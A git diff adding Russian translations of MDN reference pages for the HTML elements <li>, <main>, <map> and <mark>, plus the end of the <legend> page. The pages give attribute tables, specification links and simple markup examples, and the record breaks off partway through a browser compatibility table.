+  </tr>
+  <tr>
+   <th scope="row">Разрешённые ARIA roles</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">Взаимодействие с DOM </th>
+   <td>{{domxref("HTMLLegendElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент включает только <a href="/ru/docs/HTML/Global_attributes">универсальные атрибуты</a>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Смотрите {{HTMLElement("form")}} для примеров использования элемента <code>&lt;legend&gt;</code>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "forms.html#the-legend-element", "&lt;legend&gt;")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Определение элемента <code>legend</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "sec-forms.html#the-legend-element", "&lt;legend&gt;")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML4.01", "interact/forms.html#h-17.10", "&lt;legend&gt;")}}</td>
+   <td>{{Spec2("HTML4.01")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("html.elements.legend")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Другие сзязанные элементы: {{HTMLElement("form")}}, {{HTMLElement("option")}}, {{HTMLElement("label")}}, {{HTMLElement("button")}}, {{HTMLElement("select")}}, {{HTMLElement("datalist")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("textarea")}}, {{HTMLElement("keygen")}}, {{HTMLElement("input")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}} и {{HTMLElement("meter")}}.</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Roles/Form_Role">ARIA: Form role</a></li>
+</ul>
diff --git a/files/ru/web/html/element/li/index.html b/files/ru/web/html/element/li/index.html
new file mode 100644
index 0000000000..93210daadd
--- /dev/null
+++ b/files/ru/web/html/element/li/index.html
@@ -0,0 +1,160 @@
+---
+title: <li>
+slug: Web/HTML/Element/li
+tags:
+  - Element
+  - HTML
+  - Reference
+  - списки
+translation_of: Web/HTML/Element/li
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML-элемент <code>&lt;li&gt;</code></strong> используется для создания элементов списка.</span> Он также должен находиться в родительском элементе: упорядоченном списке ({{HTMLElement("ol")}}), неупорядоченном списке ({{HTMLElement("ul")}}), или меню ({{HTMLElement("menu")}}). В меню и неупорядоченных списках, элементы списка обычно отображаются с маркерами в виде круга. В упорядоченных списках, они обычно отображаются с маркерами в виде возрастающего счетчика слева, например числа или буквы.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/li.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Источник для этого интерактивного пример хранится в GitHub репозитории. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a>и отправьте нам pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></th>
+   <td>Нет.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённое содержимое</th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">Потоковый контент</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тегов</th>
+   <td>Закрывающий тег может быть опущен, если за элементом непосредственно следует другой элемент {{HTMLElement("li")}} или если в родительском элементе нет больше содержимого.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые родители</th>
+   <td>Элементы {{HTMLElement("ul")}}, {{HTMLElement("ol")}}, или {{HTMLElement("menu")}}. Хотя и не соответствует использованию, устаревший {{HTMLElement("dir")}} тоже может быть родительским элементом.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые ARIA-роли</th>
+   <td>{{ARIARole("menuitem")}}, {{ARIARole("menuitemcheckbox")}}, {{ARIARole("menuitemradio")}}, {{ARIARole("option")}}, {{ARIARole("presentation")}}, {{ARIARole("radio")}}, {{ARIARole("separator")}}, {{ARIARole("tab")}}, {{ARIARole("treeitem")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLLIElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент включает <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>Этот числовой атрибут указывает на текущий порядковый номер элемента в списке, заданного с помощью элемента {{HTMLElement("ol")}}. Единственное разрешёное значение этого атрибута — число, даже если список отображается с римскими цифрами или буквами. Элементы списка, которые идут после элемента с таким атрибутом, нумеруются с заданого значения. Атрибут <strong>value</strong> не имеет значения для неупорядоченных списков ({{HTMLElement("ul")}}) или для меню ({{HTMLElement("menu")}}).
+ <div class="note"><strong>Примечание</strong>: Этот арибут был убран в HTML4, но заново добавлен в HTML5.</div>
+
+ <div class="note">
+ <p><strong>Примечание:</strong> Предыдущие до {{Gecko("9.0")}}, отрицательные значения неправильно конвертировались в 0. Начиная с {{Gecko("9.0")}} все числовые значения воспринимаются правильно.</p>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("type")}} {{Deprecated_inline}}</dt>
+ <dd>Этот символьный атрибут указывает на тип нумерации:
+ <p class="hidden">Строчные буквы — это которые не заглавные.</p>
+
+ <ul>
+  <li><code>a</code>: строчные буквы</li>
+  <li><code>A</code>: заглавные буквы</li>
+  <li><code>i</code>: строчные римские цифры</li>
+  <li><code>I</code>: заглавные римские цифры</li>
+  <li><code>1</code>: цифры</li>
+ </ul>
+ Этот атрибут переопределяет тип унаследованный от родительского элемента {{HTMLElement("ol")}} или любого другого.
+
+ <div class="note"><strong>Примечание к использованию:</strong> Этот атрибут был убран: используйте CSS свойство {{cssxref("list-style-type")}} взамен.</div>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Для более подробных примеров смотрите страницы {{htmlelement("ol")}} и {{htmlelement("ul")}}.</p>
+
+<h3 id="Упорядоченный_список">Упорядоченный список</h3>
+
+<pre class="brush: html notranslate">&lt;ol&gt;
+    &lt;li&gt;Первый элемент&lt;/li&gt;
+    &lt;li&gt;Второй элемент&lt;/li&gt;
+    &lt;li&gt;Третий элемент&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Упорядоченный_список")}}</p>
+
+<h3 id="Упорядоченный_список_с_пользовательским_значением">Упорядоченный список с пользовательским значением</h3>
+
+<pre class="brush: html notranslate">&lt;ol type="I"&gt;
+    &lt;li value="3"&gt;Третий элемент&lt;/li&gt;
+    &lt;li&gt;Четвёртый элемент&lt;/li&gt;
+    &lt;li&gt;Пятый элемент&lt;/li&gt;
+&lt;/ol&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Упорядоченный_список_с_пользовательским_значением")}}</p>
+
+<h3 id="Неупорядоченный_список">Неупорядоченный список</h3>
+
+<pre class="brush: html notranslate">&lt;ul&gt;
+    &lt;li&gt;Первый элемент&lt;/li&gt;
+    &lt;li&gt;Второй элемент&lt;/li&gt;
+    &lt;li&gt;Третий элемент&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<p>{{EmbedLiveSample("Неупорядоченный_список")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-li-element', '&lt;li&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-li-element', '&lt;li&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/lists.html#h-10.2', '&lt;li&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Атрибут <code>type</code> был убран.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("html.elements.li")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>Остальные списковые HTML элементы: {{HTMLElement("ul")}}, {{HTMLElement("li")}}, {{HTMLElement("menu")}} и устаревший {{HTMLElement("dir")}};</li>
+ <li>CSS свойства, которые были бы полезны для стилизации <code>&lt;li&gt;</code> элементов:
+  <ul>
+   <li>свойство {{cssxref("list-style")}}, для выбора стиля маркера/порядкового номера,</li>
+   <li><a href="/ru/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters">CSS счётчики</a>, для обработки сложных вложенных списков,</li>
+   <li>свойство {{cssxref("margin")}}, для контроля отступа между элементами списка.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/ru/web/html/element/main/index.html b/files/ru/web/html/element/main/index.html
new file mode 100644
index 0000000000..44b9b4db78
--- /dev/null
+++ b/files/ru/web/html/element/main/index.html
@@ -0,0 +1,175 @@
+---
+title: <main>
+slug: Web/HTML/Element/main
+tags:
+  - Element
+  - HTML
+  - HTML группировка контента
+  - HTML секции
+  - main
+  - Справка
+  - Элемент
+translation_of: Web/HTML/Element/main
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML-элемент <code>&lt;main&gt;</code></strong> предназначен для основного контента (содержимого) {{HTMLElement("body")}} документа (страницы). Основной контент состоит из контента, который непосредственно относится к главной теме документа или ее развивает.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/main.html","tabbed-shorter")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> и отправте нам "pull request" (предложение изменения кода в чужом репозитории).</p>
+
+<p>Документ не должен иметь более одного элемента <code>&lt;main&gt;</code> у которого не указан атрибут {{htmlattrxref("hidden")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>.</td>
+  </tr>
+  <tr>
+   <th>Разрешенное содержимое</th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>.</td>
+  </tr>
+  <tr>
+   <th>Пропуск тега</th>
+   <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td>
+  </tr>
+  <tr>
+   <th>Разрешенные родительские элементы</th>
+   <td>Те, в которых разрешается <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">контент основного потока</a> в качестве содержимого, но только если это <a href="https://html.spec.whatwg.org/multipage/grouping-content.html#hierarchically-correct-main-element" id="the-main-element:hierarchically-correct-main-element">иерархически корректный <code>main</code> элемент</a>.</td>
+  </tr>
+  <tr>
+   <th>Разрешенные ARIA роли</th>
+   <td>Роль <code>main</code> применяется к <code>&lt;main&gt;</code> по умолчанию, и роль <code><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_presentation_role">presentation</a></code> также разрешена.</td>
+  </tr>
+  <tr>
+   <th>DOM-интерфейс</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>К этому элементу применимы только <a href="/ru/docs/Web/HTML/%D0%9E%D0%B1%D1%89%D0%B8%D0%B5_%D0%B0%D1%82%D1%80%D0%B8%D0%B1%D1%83%D1%82%D1%8B">глобальные атрибуты</a>.</p>
+
+<h2 id="Примечание">Примечание</h2>
+
+<p>Содержимое элемента <code>&lt;main&gt;</code> должно быть уникальным для документа. Содержимое, которое повторяется в наборе документов или разделах документа, такое как боковые панели, навигационные ссылки, информация об авторских правах, логотипы сайта и поисковые формы, не должно добавляться, за исключением формы поиска, если она является основной функцией страницы.</p>
+
+<p><code>&lt;main&gt;</code> не вносит вклад в структуру документа; то есть, в отличие от таких элементов, как {{HTMLElement("body")}}, заголовков, таких как {{HTMLElement("h2")}} и т.п., <code>&lt;main&gt;</code> не влияет на концепцию {{glossary("DOM")}} структуры страницы. Он носит исключительно информативный характер.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: html">&lt;!-- другой контент --&gt;
+
+&lt;main&gt;
+  &lt;h1&gt;Яблоки&lt;/h1&gt;
+  &lt;p&gt;Яблоко - плод яблони, который употребляется в пищу в свежем виде, служит сырьём в кулинарии и для приготовления напитков.&lt;/p&gt;
+
+  &lt;article&gt;
+    &lt;h2&gt;Сорт "Ред Делишес"&lt;/h2&gt;
+    &lt;p&gt;Эти ярко-красные яблоки являются одними из самых популярных в Соединенных Штатах.&lt;/p&gt;
+    &lt;p&gt;... &lt;/p&gt;
+    &lt;p&gt;... &lt;/p&gt;
+  &lt;/article&gt;
+
+  &lt;article&gt;
+    &lt;h2&gt;Сорт "Гренни Смит";/h2&gt;
+    &lt;p&gt;Эти сочные, зеленые яблоки являются одними из самых популярных в мире.&lt;/p&gt;
+    &lt;p&gt;... &lt;/p&gt;
+    &lt;p&gt;... &lt;/p&gt;
+  &lt;/article&gt;
+&lt;/main&gt;
+
+&lt;!-- другой контент --&gt;</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Пример")}}</p>
+
+<h2 id="Проблемы_доступности">Проблемы доступности</h2>
+
+<h3 id="Ориентир">Ориентир</h3>
+
+<p>Элемент <code>&lt;main&gt;</code> ведет себя как <a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Main_role">роль-ориентир <code>main</code></a>. <a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques#Landmark_roles">Ориентиры</a> могут использоваться вспомогательными технологиями для быстрой идентификации и навигации по большим разделам документа. Предпочтительно использовать элемент <code>&lt;main&gt;</code> вместо объявления <code>role="main"</code>, если не нужна <a href="/ru/docs/Web/HTML/Element/main#%D0%9F%D0%BE%D0%B4%D0%B4%D0%B5%D1%80%D0%B6%D0%BA%D0%B0_%D0%B1%D1%80%D0%B0%D1%83%D0%B7%D0%B5%D1%80%D0%B0%D0%BC%D0%B8">поддержка старых браузеров</a>.</p>
+
+<h3 id="Пропуск_навигации">Пропуск навигации</h3>
+
+<p>Пропуск навигации, также известный как "skipnav", это техника которая позволяет пользователю вспомогательных технологий совершать быстрый обход больших разделов повторяющегося контента (главная навигация, информационные баннеры и т.д.). Это позволяет пользователю получить доступ к основному контенту страницы быстрее.</p>
+
+<p>Добавление атрибута {{htmlattrxref("id")}} в элемент <code>&lt;main&gt;</code> позволяет ему становится целью для ссылки пропуска навигации.</p>
+
+<pre><span class="tag">&lt;body</span><span class="tag">&gt;
+  &lt;a href="#main-content"&gt;Перейти к основному контенту&lt;/a&gt;
+
+  &lt;!-- навигация и заголовок контента --&gt;
+
+  &lt;main id="main-content"&gt;
+    &lt;!-- основной контент страницы --&gt;
+  &lt;/main&gt;
+&lt;/body&gt;</span>
+</pre>
+
+<ul>
+ <li><a href="https://webaim.org/techniques/skipnav/">WebAIM: Ссылки "Пропуск навигации"</a></li>
+</ul>
+
+<h3 id="Режим_чтения">Режим чтения</h3>
+
+<p>Функционально режим чтения браузера будет искать наличие элемента <code>&lt;main&gt;</code>, а также элементов <a href="/ru/docs/Web/HTML/Element/Heading_Elements">заголовка</a> и <a href="/ru/docs/Web/HTML/Element#%D0%A1%D0%B5%D0%BA%D1%86%D0%B8%D0%BE%D0%BD%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D1%81%D0%BE%D0%B4%D0%B5%D1%80%D0%B6%D0%B0%D0%BD%D0%B8%D1%8F">секционных элементов</a>, которые преобразовывают контент в специальный вид для чтения.</p>
+
+<ul>
+ <li><a href="https://medium.com/@mandy.michael/building-websites-for-safari-reader-mode-and-other-reading-apps-1562913c86c9">Создание сайтов для режима чтения Safari и других программ чтения.</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#the-main-element', '&lt;main&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'grouping-content.html#the-main-element', '&lt;main&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Нет изменений с {{SpecName('HTML5 W3C')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-main-element', '&lt;main&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>Элемент <code>&lt;main&gt;</code> широко поддерживается. Для Internet Explorer 11 и ниже предлагается добавить роль {{glossary("ARIA")}} <code>"main"</code> в элемент <code>&lt;main&gt;</code>, чтобы обеспечит его доступность (программы для чтения с экрана, такие как JAWS, используемые совместно со старыми версиями Internet Explorer, смогут понять семантическое значение элемента <code>&lt;main&gt;</code> после добавления атрибута <code>role</code>).</p>
+
+<pre class="brush: html">&lt;main role="main"&gt;
+  ...
+&lt;/main&gt;
+</pre>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам "pull request" (предложение изменения кода в чужом репозитории).</div>
+
+<p>{{Compat("html.elements.main")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Основные структурные элементы: {{HTMLElement("html")}}, {{HTMLElement("head")}}, {{HTMLElement("body")}}</li>
+ <li>Связанные с этим разделом элементы: {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("footer")}}, {{HTMLElement("header")}}, or {{HTMLElement("nav")}}</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Main_role">ARIA: роль main</a></li>
+</ul>
diff --git a/files/ru/web/html/element/map/index.html b/files/ru/web/html/element/map/index.html
new file mode 100644
index 0000000000..751a526d64
--- /dev/null
+++ b/files/ru/web/html/element/map/index.html
@@ -0,0 +1,117 @@
+---
+title: <map>
+slug: Web/HTML/Element/map
+tags:
+  - Элемент
+translation_of: Web/HTML/Element/map
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML-элемент <code>&lt;map&gt;</code> </strong>используется с элементами {{HTMLElement("area")}} для определения карты изображения (интерактивной области ссылок).</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/map.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Потоковый контент</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">фразовый контент</a>, явный контент.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенный контент</th>
+   <td>Любой <a href="https://developer.mozilla.org/ru/docs/Web/Guide/HTML/Content_categories#%D0%9F%D1%80%D0%BE%D0%B7%D1%80%D0%B0%D1%87%D0%BD%D0%B0%D1%8F_%D0%BC%D0%BE%D0%B4%D0%B5%D0%BB%D1%8C_%D0%BA%D0%BE%D0%BD%D1%82%D0%B5%D0%BD%D1%82%D0%B0">прозрачный</a> элемент.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тегов</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родители</th>
+   <td>Любые элементы, которые принимают <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные ARIA роли</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM интерфейс</th>
+   <td>{{domxref("HTMLMapElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Элемент включает <a href="/en-US/docs/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>Атрибут name дает карте имя, чтобы на нее можно было ссылаться. Атрибут должен быть определен и иметь не пустое значение без пробелов. Значение атрибута name не должно совпадать с регистром совместимости со значением атрибута name другого элемента карты в том же документе. Если также указан атрибут id, то они оба должны иметь одинаковое значение.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: html">&lt;map name="primary"&gt;
+  &lt;area shape="circle" coords="75,75,75" href="left.html"&gt;
+  &lt;area shape="circle" coords="275,75,75" href="right.html"&gt;
+&lt;/map&gt;
+&lt;img usemap="#primary" src="https://placehold.it/350x150" alt="350 x 150 pic"&gt;
+</pre>
+
+<h2 id="Живой_пример">Живой пример</h2>
+
+<p>{{ EmbedLiveSample('Example', '350', '150', '', 'Web/HTML/Element/map') }}</p>
+
+<h3 id="Ожидаемые_выходные_данные">Ожидаемые выходные данные</h3>
+
+<p>Живой пример выше должен выглядеть как нижеследующее изображение (при использовании клавиши на клавиатуре):</p>
+
+<p><em>Для ссылки <code>left.html</code>:</em><br>
+ <img alt="" src="https://mdn.mozillademos.org/files/14595/Screen%20Shot%202017-02-02%20at%2010.48.40%20PM.png" style="height: 156px; width: 356px;"></p>
+
+<p><em>Для ссылки <code>right.html</code>:</em><br>
+ <img alt="" src="https://mdn.mozillademos.org/files/14597/Screen%20Shot%202017-02-02%20at%2010.49.04%20PM.png" style="height: 157px; width: 355px;"></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-map-element', '&lt;map&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-map-element', '&lt;map&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/objects.html#h-13.6.1', '&lt;map&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Первое определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("html.elements.map")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTMLElement("a")}}</li>
+ <li>{{HTMLElement("area")}}</li>
+</ul>
diff --git a/files/ru/web/html/element/mark/index.html b/files/ru/web/html/element/mark/index.html
new file mode 100644
index 0000000000..4673a4eec8
--- /dev/null
+++ b/files/ru/web/html/element/mark/index.html
@@ -0,0 +1,139 @@
+---
+title: <mark>
+slug: Web/HTML/Element/mark
+translation_of: Web/HTML/Element/mark
+---
+<p><strong>HTML</strong> <strong>элемент <code>&lt;mark&gt;</code> </strong>представляет текст, выделенный в справочных целях из-за своей <em>актуальности </em>в определенном контексте. <span id="result_box" lang="ru"><span>Например, он может</span> <span>быть использован на странице с результатом поиска, в которой выделяется</span><span> </span><span>каждый</span> <span>экземпляр</span> <span>искомого</span> <span>слова</span><span>.</span></span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories">Категории содержимого</a></th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Содержимое потока</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">содержимое фраз</a>, ощутимое содержимое.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенное содержимое</th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Phrasing_content">Содержимое фраз</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Бездействие тега</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Разрешенные</span> <span>родители</span></span></th>
+   <td><span id="result_box" lang="ru"><span>Любой элемент</span><span>, который принимает</span></span> <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">содержимое фраз.</a></td>
+  </tr>
+  <tr>
+   <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Разрешенные</span> <span>роли</span> <span>ARIA</span></span></th>
+   <td>Любые</td>
+  </tr>
+  <tr>
+   <th scope="row">Интерфейс DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент включает только <a href="/en-US/docs/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<h2 id="Примечания">Примечания</h2>
+
+<ul>
+ <li><span id="result_box" lang="ru"><span>В</span> <span>цитате</span> <span>или</span> <span class="alt-edited">другом блоке</span><span>,</span> <span>выделенный текст</span><span>, как правило,</span> <span>отмечает</span> <span>текст, который</span> <span class="alt-edited">ссылается на</span> <span class="alt-edited">внешнюю</span> <span class="alt-edited">цитату</span></span>, <span id="result_box" lang="ru"><span>или</span> <span>помечается для</span> <span>конкретного</span> <span>пристального внимания</span><span>, даже если</span> <span>первоначальный автор</span> <span>не считает</span> <span>важным</span></span>.</li>
+ <li><span id="result_box" lang="ru"><span>В основном тексте</span><span>,</span> <span>выделенный текст</span><span>, как правило,</span> <span>отмечает</span> <span>текст, который</span> <span>может</span> <span>иметь особое</span> <span>значение для</span> <span>текущей деятельности</span> <span>пользователя</span><span>, например,</span> <span>результаты поиска</span></span>.</li>
+ <li>Не используйте элемент <code>&lt;mark&gt;</code> для выделения синтаксиса; используйте элемент {{HTMLElement("span")}} для этих целей.</li>
+ <li>Не путайте элемент <code>&lt;mark&gt;</code> с элементом {{HTMLElement("strong")}}. Элемент {{HTMLElement("strong")}} используется для обозначения участков текста <em>важности </em>в контексте текста, когда элемент <code>&lt;mark&gt;</code> используется для обозначения участков текста, имеющих <em>отношение</em> к другому контексту.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: html">&lt;p&gt;Элемент &amp;lt;mark&amp;gt; используется для &lt;mark&gt;выделения&lt;/mark&gt; текста&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Пример')}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-mark-element', '&lt;mark&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-mark-element', '&lt;mark&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table" style="height: 91px; width: 965px;">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>9.0</td>
+   <td>11.0</td>
